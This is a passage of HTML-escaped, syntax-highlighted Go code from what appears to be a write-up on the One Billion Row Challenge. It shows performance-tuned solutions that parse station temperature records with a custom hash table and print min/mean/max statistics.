&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameLen&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// skip &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#75715e">// skip last digit and &amp;#39;\n&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int(&lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> (&lt;span style="color:#a6e22e">numBuckets&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Found empty slot, add new item (copying key).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, len(&lt;span style="color:#a6e22e">station&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> copy(&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>] = &lt;span style="color:#a6e22e">item&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span>: &lt;span style="color:#a6e22e">key&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stat&lt;/span>: &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">r10Stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: int64(&lt;span style="color:#a6e22e">temp&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span> &amp;gt; &lt;span style="color:#a6e22e">numBuckets&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#e6db74">&amp;#34;too many items in hash table&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Found matching slot, add to existing stats.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">stat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Slot already holds another key, try next slot (linear probe).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#a6e22e">numBuckets&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> = &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> = copy(&lt;span style="color:#a6e22e">buf&lt;/span>, &lt;span style="color:#a6e22e">remaining&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r10Stats&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span>[string(&lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">key&lt;/span>)] = &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">stat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">calcNameLen&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>) &lt;span style="color:#66d9ef">int&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> (&lt;span style="color:#a6e22e">bits&lt;/span>.&lt;span style="color:#a6e22e">TrailingZeros64&lt;/span>(&lt;span style="color:#a6e22e">b&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">calcHash&lt;/span>(&lt;span style="color:#a6e22e">word&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>) &lt;span style="color:#66d9ef">uint64&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">bits&lt;/span>.&lt;span style="color:#a6e22e">RotateLeft64&lt;/span>(&lt;span style="color:#a6e22e">word&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">0x51_7c_c1_b7_27_22_0a_95&lt;/span>, &lt;span style="color:#ae81ff">17&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">semicolonMatchBits&lt;/span>(&lt;span style="color:#a6e22e">word&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>) &lt;span style="color:#66d9ef">uint64&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">diff&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">word&lt;/span> ^ &lt;span style="color:#a6e22e">BroadcastSemicolon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> (&lt;span style="color:#a6e22e">diff&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#a6e22e">Broadcast0x01&lt;/span>) &lt;span style="color:#f92672">&amp;amp;&lt;/span> (^&lt;span style="color:#a6e22e">diff&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">Broadcast0x80&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">maskWord&lt;/span>(&lt;span style="color:#a6e22e">word&lt;/span>, &lt;span style="color:#a6e22e">matchBits&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>) &lt;span style="color:#66d9ef">uint64&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mask&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">matchBits&lt;/span> ^ (&lt;span style="color:#a6e22e">matchBits&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">word&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">mask&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://github.com/gunnarmorling/1brc" target="_blank" rel="noopener">The One Billion Row Challenge&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/gunnarmorling/1brc/tree/main/src/main/go/AlexanderYastrebov" target="_blank" rel="noopener">https://github.com/gunnarmorling/1brc/tree/main/src/main/go/AlexanderYastrebov&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="alexander-yastrebov">Alexander Yastrebov&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;log&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;math&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;runtime&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sync&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;syscall&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">measurement&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">sum&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Args&lt;/span>) &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Missing measurements filename&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">measurements&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">processFile&lt;/span>(&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Args&lt;/span>[&lt;span style="color:#ae81ff">1&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ids&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">measurements&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">measurements&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ids&lt;/span> = append(&lt;span style="color:#a6e22e">ids&lt;/span>, &lt;span style="color:#a6e22e">id&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">ids&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Print&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">id&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">ids&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Print&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">m&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">measurements&lt;/span>[&lt;span style="color:#a6e22e">id&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">id&lt;/span>, &lt;span style="color:#a6e22e">round&lt;/span>(float64(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10.0&lt;/span>), &lt;span style="color:#a6e22e">round&lt;/span>(float64(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10.0&lt;/span>&lt;span style="color:#f92672">/&lt;/span>float64(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>)), &lt;span style="color:#a6e22e">round&lt;/span>(float64(&lt;span style="color:#a6e22e">m&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10.0&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;}&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">processFile&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>) &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurement&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Open: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fi&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Stat&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
